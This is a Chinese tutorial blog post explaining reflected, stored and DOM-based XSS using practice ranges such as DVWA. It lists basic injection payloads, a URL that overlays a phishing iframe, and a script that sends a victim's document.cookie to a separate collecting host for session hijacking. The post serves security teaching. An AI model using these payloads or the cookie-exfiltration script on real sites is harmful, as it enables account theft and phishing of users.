简学-XSS 攻击

本文介绍了XSS攻击的相关概念,包括反射型、存储型和DOM型XSS的分类,以及它们的危害。文章详细讲解了XSS攻击的基本思路,并提供了常见攻击手段,如钓鱼和会话劫持的实例。还推荐了一个练习靶场帮助读者深入学习。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


针对 XSS 攻击的学习与笔记。推荐一个免费的练习靶场:谜团


0x00 XSS 的相关概念

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

  • XSS 的危害
    • 流量劫持;
    • 获取用户cookie信息,盗取账号;
    • 篡改、删除页面信息(钓鱼);
    • 配合CSRF攻击,实施进一步的攻击 ;
  • XSS 攻击的基本思路:
    • 判断位置;
    • 闭合符号或标签;
    • 放入基本 payload;

0x00.1 XSS 的分类

  • 通常将跨站脚本攻击分为三种类型:反射性XSS,存储型XSS,DOM型XSS。
反射型 XSS:
  • 被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
    • 例如:一个靶场的反射型 XSS 页面,要求只要触发 alert() 函数就能够获得 flag,我们构造语句:
    <script>alert("xss test!")</script>
    
    • 直接通过浏览器对页面的代码进行修改,触发反射型 XSS。 在这里插入图片描述
    • 在例如:通过文本输入框,实现对网页代码的修改,从而达到触发弹窗的效果
      在这里插入图片描述
      在这里插入图片描述
存储型 XSS
  • 被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
    • 顾名思义,实现存储型 XSS 的恶意代码是存放在数据库中的,通过利用前端如:留言、提建议等功能,将恶意代码存储到后端,当再次访问时,会被发回前端通过浏览器解析后造成恶意攻击。
    • 例如:一个建议的留言系统,通过对其留言,触发存储型 XSS 并造成弹窗。
      在这里插入图片描述
      在这里插入图片描述
    • 尝试使用管理员到后台对留言进行管理,当数据库返回这条留言是,同样会触发 XSS 脚本。
      在这里插入图片描述
DOM型XSS
  • DOM全称Document Object Model,DOM型XSS实际上是一种特殊类型的反射XSS,他是一种基于DOM文档对象模型的一种漏洞。
    • 攻击原理:攻击者向服务器发送一个带有恶意JS代码的请求,服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
    • 例如:DVWA 实验靶场的 DOM 型 XSS 跨站脚本攻击
      • 通过对页面代码的查看,发现脚本被添加进了下拉框标签的<option> 对象,然后被触发执行。
        在这里插入图片描述
        在这里插入图片描述

0x01 XSS 基本payload

注入点PAYLOAD
标签内容<script>alert</script>
标签属性<body οnlοad=alert(1)>
-<input οnclick=alert(1)>
-<img src=1 οnerrοr=alert(1)>
-<a href=javascript:alert(1)>

0x02 XSS 常见攻击手段

  • 钓鱼
    • 攻击者构造攻击脚本,
      • 发给目标用户,引诱对方点击钓鱼链接;
      • 注入到存在 XSS 漏洞的网站,等待目标用户触发;
    • 用户触发攻击脚本,
    • 跳转至钓鱼网站。
      在这里插入图片描述
    • XSS构造URL脚本实现钓鱼攻击
    http://192.168.1.131/07/dy.php?name=<iframe src="http://www.baidu.com" frameborder="0" width="1500" height="1000" style="background-color: white;position:absolute;left:0px;top:0px"></iframe>
    

在这里插入图片描述

  • 会话劫持
    • 攻击者构造攻击脚本,
      • 发给目标用户,引诱对方点击钓鱼链接;
      • 注入到存在 XSS 漏洞的网站,等待目标用户触发;
    • 用户触发攻击脚本,
    • 脚本将目标的 cookie 转发至攻击者
    • 攻击者可模仿目标用户实现合法会话。
      在这里插入图片描述
    • XSS构造读取cookie脚本实现会话劫持攻击
    <script>
    ...
    	function loadXMLDoc()
    		{
    		xmlhttp.open("POST","http://192.168.163.1/xsstest/savec
    		ookie.php",true);
    		xmlhttp.setRequestHeader("Content-type","application/x-
    		www-form-urlencoded");
    		xmlhttp.send("T1="+document.cookie);
    		}
    	loadXMLDoc();
    	alert("You cookies has been saved :"+document.cookie);
    ...
    </script>
    

有任何问题欢迎评论区留言,上文若是信息有误,评论区随便吐槽,看必回!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值